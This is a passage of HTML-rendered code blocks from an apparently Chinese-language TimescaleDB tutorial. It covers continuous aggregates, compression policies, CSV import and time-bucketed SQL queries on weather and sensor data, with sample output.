class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br></pre></td><td class="code"><pre><span class="line"># 计算所有天气指标的每日平均值，以及温度的最大值和最小值。</span><br><span class="line"><span class="comment">-- Continuous aggs</span></span><br><span class="line"><span class="comment">-- define view</span></span><br><span class="line"><span class="keyword">CREATE</span> MATERIALIZED <span class="keyword">VIEW</span> weather_metrics_daily</span><br><span class="line"><span class="keyword">WITH</span> (timescaledb.continuous)</span><br><span class="line"><span class="keyword">AS</span></span><br><span class="line"><span class="keyword">SELECT</span></span><br><span class="line">   time_bucket(<span class="string">&#x27;1 day&#x27;</span>, <span class="type">time</span>) <span class="keyword">as</span> bucket,</span><br><span class="line">   city_name,</span><br><span class="line">   <span class="built_in">avg</span>(temp_c) <span class="keyword">as</span> avg_temp,</span><br><span class="line">   <span class="built_in">avg</span>(feels_like_c) <span class="keyword">as</span> feels_like_temp,</span><br><span class="line">   <span class="built_in">max</span>(temp_c) <span class="keyword">as</span> max_temp,</span><br><span class="line">   <span class="built_in">min</span>(temp_c) <span class="keyword">as</span> min_temp,</span><br><span class="line">   <span class="built_in">avg</span>(pressure_hpa) <span class="keyword">as</span> pressure,</span><br><span class="line">   <span class="built_in">avg</span>(humidity_percent) <span class="keyword">as</span> humidity_percent,</span><br><span class="line">   <span class="built_in">avg</span>(rain_3h_mm) <span class="keyword">as</span> rain_3h,</span><br><span class="line">   <span class="built_in">avg</span>(snow_3h_mm) <span class="keyword">as</span> snow_3h,</span><br><span class="line">   <span class="built_in">avg</span>(wind_speed_ms) <span class="keyword">as</span> wind_speed,</span><br><span class="line">   <span class="built_in">avg</span>(clouds_percent) <span class="keyword">as</span> clouds</span><br><span class="line"><span class="keyword">FROM</span></span><br><span class="line"> weather_metrics</span><br><span class="line"><span class="keyword">GROUP</span> <span class="keyword">BY</span> bucket, city_name</span><br><span class="line"><span class="keyword">WITH</span> <span class="keyword">NO</span> DATA;</span><br><span class="line"></span><br><span class="line"># 手动刷新</span><br><span class="line"><span class="keyword">CALL</span> refresh_continuous_aggregate(<span class="string">&#x27;weather_metrics_daily&#x27;</span>,<span class="string">&#x27;2010-01-01&#x27;</span>, <span class="string">&#x27;2021-01-01&#x27;</span>);</span><br><span class="line"></span><br><span class="line"># 查询 <span class="number">2009</span> 年 <span class="number">1</span> 月 <span class="number">1</span> 日之前的数据的连续聚合显示</span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">from</span> weather_metrics_daily</span><br><span class="line"><span class="keyword">WHERE</span> bucket <span class="operator">&gt;</span> <span class="string">&#x27;2009-01-01&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> bucket <span class="keyword">ASC</span>;</span><br><span class="line"></span><br><span class="line"># 创建一个策略，每两周自动更新一次连续聚合：</span><br><span class="line"><span class="keyword">SELECT</span> add_continuous_aggregate_policy(<span class="string">&#x27;weather_metrics_daily&#x27;</span>,</span><br><span class="line">  start_offset <span class="operator">=</span><span class="operator">&gt;</span> <span class="type">INTERVAL</span> <span class="string">&#x27;6 months&#x27;</span>,</span><br><span class="line">  end_offset <span class="operator">=</span><span class="operator">&gt;</span> <span class="type">INTERVAL</span> <span class="string">&#x27;1 hour&#x27;</span>,</span><br><span class="line">  schedule_interval <span class="operator">=</span><span class="operator">&gt;</span> <span class="type">INTERVAL</span> <span class="string">&#x27;14 days&#x27;</span>);</span><br><span class="line">  </span><br><span class="line">  # 查询连续聚合</span><br><span class="line">  <span class="keyword">SELECT</span> bucket, max_temp, avg_temp, min_temp</span><br><span class="line"><span class="keyword">FROM</span> weather_metrics_daily</span><br><span class="line"><span class="keyword">WHERE</span> bucket <span class="operator">&gt;=</span> <span class="string">&#x27;2015-01-01&#x27;</span> <span class="keyword">AND</span> bucket <span class="operator">&lt;</span> <span class="string">&#x27;2021-01-01&#x27;</span></span><br><span class="line"><span class="keyword">AND</span> city_name <span class="keyword">LIKE</span> <span class="string">&#x27;New York&#x27;</span></span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> bucket <span class="keyword">ASC</span>;</span><br><span class="line"></span><br><span class="line"># 查询实时聚合</span><br><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">from</span> weather_metrics_daily</span><br><span class="line">  <span class="keyword">WHERE</span> bucket <span class="operator">&gt;</span> now() <span class="operator">-</span> <span class="number">2</span> <span class="operator">*</span> <span class="type">INTERVAL</span> <span class="string">&#x27;1 year&#x27;</span></span><br><span class="line">  <span class="keyword">ORDER</span> <span class="keyword">BY</span> bucket <span class="keyword">DESC</span>;</span><br></pre></td></tr></table></figure><h3 id="4-将CSV中的数据拷贝到表中">4.将CSV中的数据拷贝到表中</h3><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_"># </span><span class="language-bash">将当前目录中的weather_data.csv 中的数据拷贝到weather_metrics</span></span><br><span class="line">-- copy data from weather_data.csv into weather_metrics</span><br><span class="line">\copy weather_metrics (time, timezone_shift, city_name, temp_c, feels_like_c, temp_min_c, temp_max_c, pressure_hpa, humidity_percent, wind_speed_ms, wind_deg, rain_1h_mm, rain_3h_mm, snow_1h_mm, snow_3h_mm, clouds_percent, weather_type_id) from &#x27;./weather_data.csv&#x27; CSV HEADER;</span><br></pre></td></tr></table></figure><h3 id="5-创建压缩策略">5.创建压缩策略</h3><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"># 设置策略以压缩 <span class="number">10</span> 年以上的数据</span><br><span class="line"><span class="keyword">SELECT</span> add_compression_policy(<span class="string">&#x27;weather_metrics&#x27;</span>, <span class="type">INTERVAL</span> <span class="string">&#x27;10 years&#x27;</span>);</span><br><span class="line"></span><br><span class="line"># 手动压缩</span><br><span class="line"><span class="keyword">SELECT</span> compress_chunk(i)</span><br><span class="line"><span class="keyword">FROM</span> show_chunks(<span class="string">&#x27;weather_metrics&#x27;</span>, older_than <span class="operator">=</span><span class="operator">&gt;</span> <span class="type">INTERVAL</span> <span class="string">&#x27; 10 years&#x27;</span>) i;</span><br></pre></td></tr></table></figure><h2 id="十三-timescaled查询示例">十三.timescaled查询示例</h2><h3 id="1-基本数据统计查询示例">1.基本数据统计查询示例</h3><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br></pre></td><td class="code"><pre><span class="line"># 查询<span class="number">7</span>天内所有数据 查询方式和mysl基本一致，时间条件使用timescaled的查询方式</span><br><span class="line"><span class="keyword">SELECT</span> suo, <span class="built_in">AVG</span>(temperature) <span class="keyword">from</span> sensor_data  </span><br><span class="line"><span class="keyword">WHERE</span> temperature <span class="keyword">IS</span> <span class="keyword">NOT NULL</span> <span class="keyword">AND</span> humidity <span class="operator">&gt;</span> <span class="number">0.5</span>  </span><br><span class="line"><span class="keyword">AND</span> <span class="type">time</span> <span class="operator">&gt;</span> now() <span class="operator">-</span> <span class="type">interval</span> <span class="string">&#x27;7 day&#x27;</span>  </span><br><span class="line"><span class="keyword">GROUP</span> <span class="keyword">BY</span> device_id;  </span><br><span class="line"># 分页查询</span><br><span class="line">timescaled 分页不支持limit <span class="number">1</span>,<span class="number">2</span> 的方式而是使用 limit <span class="keyword">offset</span></span><br><span class="line">如果项目中使用了动态数据源，并且timescaled使用了mybatis plus的api查询分页，记得在配置mybatis plus的config</span><br><span class="line">注入MybatisPlusInterceptor时的分页支持<span class="keyword">new</span> PaginationInnerInterceptor()千万不要指定DbType为mysql否则查询timescaled的数据会报错。因为mysql在mybatis plus中指定使用第一种方式实现分页，但是mysql是支持第二种分页方式的</span><br><span class="line"></span><br><span class="line"># 限制查询前<span class="number">100</span>条</span><br><span class="line">LIMIT <span class="number">100</span></span><br><span class="line"></span><br><span class="line"># 计算最近<span class="number">7</span>天，每小时的异常次数</span><br><span class="line"><span class="keyword">SELECT</span> date_trunc(<span class="string">&#x27;hour&#x27;</span>, <span class="type">time</span>) <span class="keyword">as</span> <span class="keyword">hour</span>, firmware,  </span><br><span class="line"><span class="built_in">COUNT</span>(error_msg) <span class="keyword">as</span> errno <span class="keyword">FROM</span> data  </span><br><span class="line"><span class="keyword">WHERE</span> firmware <span class="operator">&gt;</span> <span class="number">50</span>  </span><br><span class="line"><span class="keyword">AND</span> <span class="type">time</span> <span class="operator">&gt;</span> now() <span class="operator">-</span> <span class="type">interval</span> <span class="string">&#x27;7 day&#x27;</span>  </span><br><span class="line"><span class="keyword">GROUP</span> <span class="keyword">BY</span> <span class="keyword">hour</span>, firmware  </span><br><span class="line"><span class="keyword">ORDER</span> <span class="keyword">BY</span> <span class="keyword">hour</span> <span class="keyword">DESC</span>, errno <span class="keyword">DESC</span>; </span><br><span class="line"></span><br><span class="line"># 计算最近一小时内的平均数据</span><br><span class="line"><span class="keyword">SELECT</span> loc.region, <span class="built_in">AVG</span>(bus.speed) <span class="keyword">FROM</span> bus  </span><br><span class="line"><span class="keyword">INNER</span> <span class="keyword">JOIN</span> loc <span class="keyword">ON</span> (bus.bus_id <span class="operator">=</span> loc.bus_id)  </span><br><span class="line"><span class="keyword">WHERE</span> loc.city <span class="operator">=</span> <span class="string">&#x27;nyc&#x27;</span>  </span><br><span class="line"><span class="keyword">AND</span> bus.time <span class="operator">&gt;</span> now() <span class="operator">-</span> <span class="type">interval</span> <span class="string">&#x27;1 hour&#x27;</span>  </span><br><span class="line"><span class="keyword">GROUP</span> <span class="keyword">BY</span> loc.region;  </span><br><span class="line"></span><br><span class="line"># 展示最近<span class="number">12</span>小时，每小时的平均值</span><br><span class="line"><span class="keyword">SELECT</span> date_trunc(<span class="string">&#x27;hour&#x27;</span>, <span class="type">time</span>) <span class="keyword">AS</span> <span class="keyword">hour</span>, <span class="built_in">AVG</span>(weight)  </span><br><span class="line">    <span class="keyword">FROM</span> logs  </span><br><span class="line">    <span class="keyword">WHERE</span> device_type <span class="operator">=</span> <span class="string">&#x27;pressure-sensor&#x27;</span> <span class="keyword">AND</span> customer_id <span class="operator">=</span> <span class="number">440</span>  </span><br><span class="line">      <span class="keyword">AND</span> <span class="type">time</span> <span class="operator">&gt;</span> now() <span class="operator">-</span> <span class="type">interval</span> <span class="string">&#x27;12 hours&#x27;</span>  </span><br><span class="line">    <span class="keyword">GROUP</span> <span class="keyword">BY</span> <span class="keyword">hour</span>;  </span><br><span class="line">  </span><br><span class="line"> <span class="keyword">hour</span>               <span class="operator">|</span> <span class="built_in">AVG</span>(weight)  </span><br><span class="line"><span class="comment">--------------------+--------------  </span></span><br><span class="line"> <span class="number">2017</span><span class="number">-01</span><span class="number">-04</span> <span class="number">12</span>:<span class="number">00</span>   <span class="operator">|</span> <span class="number">170.0</span>  </span><br><span class="line"> <span class="number">2017</span><span class="number">-01</span><span class="number">-04</span> <span class="number">13</span>:<span class="number">00</span>   <span class="operator">|</span> <span class="number">174.2</span>  </span><br><span class="line"> <span class="number">2017</span><span class="number">-01</span><span class="number">-04</span> <span class="number">14</span>:<span class="number">00</span>   <span class="operator">|</span> <span class="number">174.0</span>  </span><br><span class="line"> <span class="number">2017</span><span class="number">-01</span><span class="number">-04</span> <span class="number">15</span>:<span class="number">00</span>   <span class="operator">|</span> <span class="number">178.6</span>  </span><br><span class="line"> <span class="number">2017</span><span class="number">-01</span><span class="number">-04</span> <span class="number">16</span>:<span class="number">00</span>   <span class="operator">|</span> <span class="number">173.0</span>  </span><br><span class="line"> <span class="number">2017</span><span class="number">-01</span><span class="number">-04</span> <span class="number">17</span>:<span class="number">00</span>   <span class="operator">|</span> <span class="number">169.9</span>  </span><br><span class="line"> <span class="number">2017</span><span class="number">-01</span><span class="number">-04</span> <span class="number">18</span>:<span class="number">00</span>   <span class="operator">|</span> <span class="number">168.1</span>  </span><br><span class="line"> <span class="number">2017</span><span class="number">-01</span><span class="number">-04</span> <span class="number">19</span>:<span class="number">00</span>   <span class="operator">|</span> <span class="number">170.2</span>  </span><br><span class="line"> <span class="number">2017</span><span class="number">-01</span><span class="number">-04</span> <span class="number">20</span>:<span class="number">00</span>   <span class="operator">|</span> <span class="number">167.4</span>  </span><br><span class="line"> <span class="number">2017</span><span class="number">-01</span><span class="number">-04</span> <span class="number">21</span>:<span class="number">00</span>   <span class="operator">|</span> <span class="number">168.6</span>  </span><br><span class="line"> </span><br><span class="line"> # 查询最近<span class="number">24</span>小时内每分钟指定条件的数量</span><br><span class="line">  <span class="keyword">SELECT</span> date_trunc(<span class="string">&#x27;minute&#x27;</span>, <span class="type">time</span>) <span class="keyword">AS</span> <span class="keyword">minute</span>, <span class="built_in">COUNT</span>(device_id)  </span><br><span class="line">    <span class="keyword">FROM</span> logs  </span><br><span class="line">    <span class="keyword">WHERE</span> cpu_level <span class="operator">&gt;</span> <span class="number">0.9</span> <span class="keyword">AND</span> free_mem <span class="operator">&lt;</span> <span class="number">1024</span>  </span><br><span class="line">      <span class="keyword">AND</span> <span class="type">time</span> <span class="operator">&gt;</span> now() <span class="operator">-</span> <span class="type">interval</span> <span class="string">&#x27;24 hours&#x27;</span>  </span><br><span class="line">    <span class="keyword">GROUP</span> <span class="keyword">BY</span> <span class="keyword">minute</span>  </span><br><span class="line">    <span class="keyword">ORDER</span> <span class="keyword">BY</span> <span class="built_in">COUNT</span>(device_id) <span class="keyword">DESC</span> LIMIT <span class="number">25</span>;  </span><br><span class="line">  </span><br><span class="line"> <span class="keyword">minute</span>             <span class="operator">|</span> heavy_load_devices  </span><br><span class="line"><span class="comment">--------------------+---------------------  </span></span><br><span class="line"> <span class="number">2017</span><span class="number">-01</span><span class="number">-04</span> <span class="number">14</span>:<span class="number">59</span>   <span class="operator">|</span> <span class="number">1653</span>  </span><br><span class="line"> <span class="number">2017</span><span class="number">-01</span><span class="number">-04</span> <span class="number">15</span>:<span class="number">01</span>   <span class="operator">|</span> <span class="number">1650</span>  </span><br><span class="line"> <span class="number">2017</span><span class="number">-01</span><span class="number">-04</span> <span class="number">15</span>:<span class="number">00</span>   <span class="operator">|</span> <span class="number">1605</span>  </span><br><span class="line"> <span class="number">2017</span><span class="number">-01</span><span class="number">-04</span> <span class="number">15</span>:<span class="number">02</span>   <span class="operator">|</span> <span class="number">1594</span>  </span><br><span class="line"> <span class="number">2017</span><span class="number">-01</span><span class="number">-04</span> <span class="number">15</span>:<span class="number">03</span>   <span class="operator">|</span> <span class="number">1594</span>  </span><br><span class="line"> <span class="number">2017</span><span class="number">-01</span><span class="number">-04</span> <span class="number">15</span>:<span class="number">04</span>   <span class="operator">|</span> <span class="number">1561</span>  </span><br><span class="line"> <span class="number">2017</span><span class="number">-01</span><span class="number">-04</span> <span class="number">15</span>:<span class="number">06</span>   <span class="operator">|</span> <span class="number">1499</span>  </span><br><span class="line"> <span class="number">2017</span><span class="number">-01</span><span class="number">-04</span> <span class="number">15</span>:<span class="number">05</span>   <span class="operator">|</span> <span class="number">1460</span>  </span><br><span class="line"> <span class="number">2017</span><span class="number">-01</span><span class="number">-04</span> <span class="number">15</span>:<span class="number">08</span>   <span class="operator">|</span> <span class="number">1459</span>  </span><br><span class="line"> </span><br><span class="line"> # 查询指定条件的数量</span><br><span class="line"> <span class="keyword">SELECT</span> date_trunc(<span class="string">&#x27;hour&#x27;</span>, <span class="type">time</span>) <span class="keyword">AS</span> <span class="keyword">hour</span>, <span class="built_in">COUNT</span>(logs.device_id)  </span><br><span class="line">    <span class="keyword">FROM</span> logs  </span><br><span class="line">    <span class="keyword">JOIN</span> devices <span class="keyword">ON</span> logs.device_id <span class="operator">=</span> devices.id  </span><br><span class="line">    <span class="keyword">WHERE</span> logs.temperature <span class="operator">&gt;</span> <span class="number">90</span> <span class="keyword">AND</span> devices.location <span class="operator">=</span> <span class="string">&#x27;SITE-1&#x27;</span>  </span><br><span class="line">    <span class="keyword">GROUP</span> <span class="keyword">BY</span> <span class="keyword">hour</span>;  </span><br><span class="line">  </span><br><span class="line"> <span class="keyword">hour</span>               <span class="operator">|</span> <span class="built_in">COUNT</span>(logs.device_id)  </span><br><span class="line"><span class="comment">--------------------+------------------------  </span></span><br><span class="line"> <span class="number">2017</span><span class="number">-01</span><span class="number">-04</span> <span class="number">12</span>:<span class="number">00</span>   <span class="operator">|</span> <span class="number">994</span>  </span><br><span class="line"> <span class="number">2017</span><span class="number">-01</span><span class="number">-04</span> <span class="number">13</span>:<span class="number">00</span>   <span class="operator">|</span> <span class="number">905</span>  </span><br><span class="line"> <span class="number">2017</span><span class="number">-01</span><span class="number">-04</span> <span class="number">14</span>:<span class="number">00</span>   <span class="operator">|</span> <span class="number">875</span>  </span><br><span class="line"> <span class="number">2017</span><span class="number">-01</span><span class="number">-04</span> <span class="number">15</span>:<span class="number">00</span>   <span class="operator">|</span> <span class="number">910</span>  </span><br><span class="line"> <span class="number">2017</span><span class="number">-01</span><span class="number">-04</span> <span class="number">16</span>:<span class="number">00</span>   <span class="operator">|</span> <span class="number">905</span>  </span><br><span class="line"> <span class="number">2017</span><span class="number">-01</span><span class="number">-04</span> <span class="number">17</span>:<span class="number">00</span>   <span class="operator">|</span> <span class="number">840</span>  </span><br><span class="line"> <span class="number">2017</span><span class="number">-01</span><span class="number">-04</span> <span class="number">18</span>:<span class="number">00</span>   <span class="operator">|</span> <span class="number">801</span>  </span><br><span class="line"> <span class="number">2017</span><span class="number">-01</span><span class="number">-04</span> <span class="number">19</span>:<span class="number">00</span>   <span class="operator">|</span> <span class="number">813</span>  </span><br><span class="line"> <span class="number">2017</span><span class="number">-01</span><span class="number">-04</span> <span class="number">20</span>:<span class="number">00</span>   <span class="operator">|</span> <span class="number">798</span>  </span><br><span class="line"></span><br><span class="line"># 查询过去 <span class="number">5</span> 年每个城市的总降雪量</span><br><span class="line"><span class="keyword">SELECT</span> city_name, <span class="built_in">sum</span>(snow_1h_mm)</span><br><span class="line"><span class="keyword">FROM</span> weather_metrics</span><br><span class="line"><span class="keyword">WHERE</span> <span class="type">time</span> <span class="operator">&gt;</span> now() <span class="operator">-</span> <span class="type">INTERVAL</span> <span class="string">&#x27;5 years&#x27;</span></span><br><span class="line"><span class="keyword">GROUP</span> <span class="keyword">BY</span> city_name;</span><br><span class="line"></span><br><span class="line"># 查找每个城市在过去 <span class="number">6</span> 个月内每 <span class="number">15</span> 天的平均温度</span><br><span class="line"><span class="keyword">SELECT</span> time_bucket(<span class="string">&#x27;15 days&#x27;</span>, <span class="type">time</span>) <span class="keyword">as</span> &quot;bucket&quot;</span><br><span class="line">   ,city_name, <span class="built_in">avg</span>(temp_c)</span><br><span class="line">   <span class="keyword">FROM</span> weather_metrics</span><br><span class="line">   <span class="keyword">WHERE</span> <span class="type">time</span> <span class="operator">&gt;</span> now() <span class="operator">-</span> (<span class="number">6</span><span class="operator">*</span> <span class="type">INTERVAL</span> <span class="string">&#x27;1 month&#x27;</span>)</span><br><span class="line">   <span class="keyword">GROUP</span> <span class="keyword">BY</span> bucket, city_name</span><br><span class="line">   <span class="keyword">ORDER</span> <span class="keyword">BY</span> bucket <span class="keyword">DESC</span>;</span><br><span class="line">   </span><br><span class="line"># 计算过去一年每个城市在 <span class="number">30</span> 天时间段内的总降雪量 结果仅包括城市有降雪时间的 time_periods，而不是我们分析的特定时间段，即一年</span><br><span class="line"><span class="keyword">SELECT</span> time_bucket_gapfill(<span class="string">&#x27;30 days&#x27;</span>, <span class="type">time</span>) <span class="keyword">as</span> bucket,</span><br><span class="line">   city_name, <span class="built_in">sum</span>(snow_1h_mm) <span class="keyword">as</span> sum</span><br><span class="line">   <span class="keyword">FROM</span> weather_metrics</span><br><span class="line">   <span class="keyword">WHERE</span> <span class="type">time</span> <span class="operator">&gt;</span> now() <span class="operator">-</span> <span class="type">INTERVAL</span> <span class="string">&#x27;1 year&#x27;</span> <span class="keyword">AND</span> <span class="type">time</span> <span class="operator">&lt;</span> now()</span><br><span class="line">   <span class="keyword">GROUP</span> <span class="keyword">BY</span> bucket, city_name</span><br><span class="line">   <span class="keyword">ORDER</span> <span class="keyword">BY</span> bucket <span class="keyword">DESC</span>;</span><br><span class="line"></span><br><span class="line"># 查询过去<span class="number">3</span>小时每个地点每十五分钟的信息</span><br><span class="line"><span class="keyword">SELECT</span> time_bucket(<span class="string">&#x27;15 minutes&#x27;</span>, <span class="type">time</span>) <span class="keyword">AS</span> fifteen_min,</span><br><span class="line">    location, <span class="built_in">COUNT</span>(<span class="operator">*</span>),</span><br><span class="line">    <span class="built_in">MAX</span>(temperature) <span class="keyword">AS</span> max_temp,</span><br><span class="line">    <span class="built_in">MAX</span>(humidity) <span class="keyword">AS</span> max_hum</span><br><span class="line">  <span class="keyword">FROM</span> conditions</span><br><span class="line">  <span class="keyword">WHERE</span> <span class="type">time</span> <span class="operator">&gt;</span> NOW() <span class="operator">-</span> <span class="type">INTERVAL</span> <span class="string">&#x27;3 hours&#x27;</span></span><br><span class="line">  <span class="keyword">GROUP</span> <span class="keyword">BY</span> fifteen_min, location</span><br><span class="line">  <span class="keyword">ORDER</span> <span class="keyword">BY</span> fifteen_min <span class="keyword">DESC</span>, max_temp <span class="keyword">DESC</span>;</span><br><span class="line"></span><br><span class="line"># 关联查询,过去一小时内各地点查询内容的数量</span><br><span class="line"><span class="keyword">SELECT</span> <span class="built_in">COUNT</span>(<span class="keyword">DISTINCT</span> location) <span class="keyword">FROM</span> conditions</span><br><span class="line">  <span class="keyword">JOIN</span> locations</span><br><span class="line">    <span class="keyword">ON</span> conditions.location <span class="operator">=</span> locations.location</span><br><span class="line">  <span class="keyword">WHERE</span> locations.air_conditioning <span class="operator">=</span> <span class="literal">True</span></span><br><span class="line">    <span class="keyword">AND</span> <span class="type">time</span> <span class="operator">&gt;</span> NOW() <span class="operator">-</span> <span class="type">INTERVAL</span> <span class="string">&#x27;1 day&#x27;</span></span><br></pre></td></tr></table></figure><h3 id="2-查询连续聚合">2.查询连续聚合</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">SELECT bucket, max_temp, avg_temp, min_temp</span><br><span class="line">FROM weather_metrics_daily</span><br><span class="line">WHERE bucket &gt;= &#x27;2015-01-01&#x27; AND bucket &lt; &#x27;2021-01-01&#x27;</span><br><span class="line">AND city_name LIKE &#x27;New York&#x27;</span><br><span class="line">ORDER BY bucket ASC;</span><br></pre></td></tr></table></figure><h3 id="3-高级分析查询示例">3.高级分析查询示例</h3><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span 